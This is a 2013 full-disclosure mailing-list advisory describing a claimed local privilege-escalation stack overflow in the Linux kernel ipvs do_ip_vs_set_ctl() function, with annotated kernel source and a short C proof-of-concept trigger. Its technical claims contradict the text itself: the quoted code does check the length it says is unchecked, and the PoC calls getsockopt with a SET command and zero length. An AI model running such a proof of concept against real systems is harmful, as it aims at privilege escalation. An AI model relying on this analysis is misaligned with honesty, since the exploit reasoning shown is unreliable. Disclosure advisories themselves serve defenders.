full-disclosure - XADV-2013004 Linux Kernel ipvs Kernel Stack Overflow

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Date: Mon, 11 Nov 2013 22:10:27 +0900
From: x90c <geinblues@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: XADV-2013004 Linux Kernel ipvs Kernel Stack
	Overflow

+--------------------------------------------------------+
| XADV-2013004 Linux Kernel ipvs Kernel Stack Overflow   |
+--------------------------------------------------------+

 Vulnerable versions:
 - linux kernel 2.6.32 <=

 Not vulnerable versions:
 - linux kernel 2.6.33 <=
 - linux kernel 3.x

 Testbed: linux kernel 2.6.18
 Type: Local
 Impact: Local Privilege Escalation
 Vendor: http://www.kernel.org
 Author: x90c <geinblues *nospam* gmail dot com>
 Site: x90c.org


=========
ABSTRACT:
=========

The ipvs is:
[Kconfig]
----
config  IP_VS
    tristate "IP virtual server support (EXPERIMENTAL)"
    depends on NETFILTER
----

Vulnerable source code is ~/linux-2.6.18/net/ipv4/ipvs/ip_vs_ctl.c.
(If not there exists check the other netfilter directory.)
The source code will be compiled in ipvs.ko.

The ipvs function do_ip_vs_set_ctl() in the linux kernel has a kernel
stack overflow vulnerability. It's Vulnerable to linux kernel 2.6.32 <=.

It also can be allow to permit the CAP_NET_ADMIN to all CAPs via kernel
stack overflow if exploited. The linux kernel vulnerability to lead to
the local privilege escalation via the kernel stack overflow.

Even though the need, NET_CAP_ADMIN capability, It's vulnerable!

- References:
  [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6540
  [2] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2d8a041
      b7bfe1097af21441cb77d6af95f4f4680
  [3] http://folk.uio.no/mathiasm/Stuff/keepalived-1.1.7/keepalived/libipvs-2.6/libipvs.c
  [4] http://pubs.opengroup.org/onlinepubs/009695399/functions/getsockopt.html


=========
DETAILS:
=========

The do_ip_vs_set_ctl() in the ipvs is vulnerable function.
It's vulnerable to the kernel stack overflow with no sanity check
when copying the getsockopt socket option value from the userspace
to the arg[] variable.

The vulnerable arg stack buffer's size is 44 bytes!


[linux-2.6.18/net/ipv4/ipvs/ip_vs_ctl.c]
----

#define SET_CMDID(cmd)      (cmd - IP_VS_BASE_CTL)
#define SERVICE_ARG_LEN     (sizeof(struct ip_vs_service_user))
#define SVCDEST_ARG_LEN     (sizeof(struct ip_vs_service_user)+    \ // XXX
                 sizeof(struct ip_vs_dest_user))
#define TIMEOUT_ARG_LEN     (sizeof(struct ip_vs_timeout_user))
#define DAEMON_ARG_LEN      (sizeof(struct ip_vs_daemon_user))
#define MAX_ARG_LEN     SVCDEST_ARG_LEN		// XXX 44 bytes.


...


static int
do_ip_vs_set_ctl(struct sock *sk, int cmd, void __user *user, unsigned int len)
{
    int ret;
    unsigned char arg[MAX_ARG_LEN]; /* XXX Vulnerable 44bytes stack: arg. */
    struct ip_vs_service_user *usvc;
    struct ip_vs_service *svc;
    struct ip_vs_dest_user *udest;

    if (!capable(CAP_NET_ADMIN)) /* XXX exp cond1) CAP_NET_ADMIN -> ALL CAP. */
        return -EPERM;

    if (len != set_arglen[SET_CMDID(cmd)]) {
        IP_VS_ERR("set_ctl: len %u != %u\n",
              len, set_arglen[SET_CMDID(cmd)]);
        return -EINVAL;
    }

    /* XXX no sanity check. (kernel stack overflow) */
    if (copy_from_user(arg, user, len) != 0)

...

    if (cmd == IP_VS_SO_SET_FLUSH) {	// XXX IP_VS_SO_SET_FLUSH.
        /* Flush the virtual service */
        ret = ip_vs_flush();
        goto out_unlock;
    } else if (cmd == IP_VS_SO_SET_TIMEOUT) { // XXX IP_VS_SO_SET_TIMEOUT ...
        /* Set timeout values for (tcp tcpfin udp) */
        ret = ip_vs_set_timeout((struct ip_vs_timeout_user *)arg);
        goto out_unlock;
    } else if (cmd == IP_VS_SO_SET_STARTDAEMON) {
        struct ip_vs_daemon_user *dm = (struct ip_vs_daemon_user *)arg;
        ret = start_sync_thread(dm->state, dm->mcast_ifn, dm->syncid);
        goto out_unlock;
    } else if (cmd == IP_VS_SO_SET_STOPDAEMON) {


...


static struct nf_sockopt_ops ip_vs_sockopts = {
    .pf     = PF_INET,
    .set_optmin = IP_VS_BASE_CTL,
    .set_optmax = IP_VS_SO_SET_MAX+1,
    .set        = do_ip_vs_set_ctl,	// XXX do_ip_vs_set_ctl!
    .get_optmin = IP_VS_BASE_CTL,
    .get_optmax = IP_VS_SO_GET_MAX+1,
    .get        = do_ip_vs_get_ctl,
};

----

===============
EXPLOIT CODES:
===============

[ipvs_stack_overflow_poc.c]:
----
#include <stdio.h>
#include <sys/socket.h>

int main(){
int sockfd = 0;
socklen_t len = 0;
char buff_overflow[128];

memset(buff_overflow, 0x41, sizeof(buff_overflow));
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
/* Trigger (the buff_overflow variable is the socket option value)! */
getsockopt(sockfd, IPPROTO_IP, IP_VS_SO_SET_TIMEOUT, buff_overflow, &len);

}
----

=============
PATCH CODES:
=============
-


===============
VENDOR STATUS:
===============
2013/11/11 - I discovered the linux kernel bug.
2013/11/11 - The advisory released.


============
DISCLAIMER:
============

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any information
provided, including any kind of information which is incomplete or incorrect,
will therefore be rejected.

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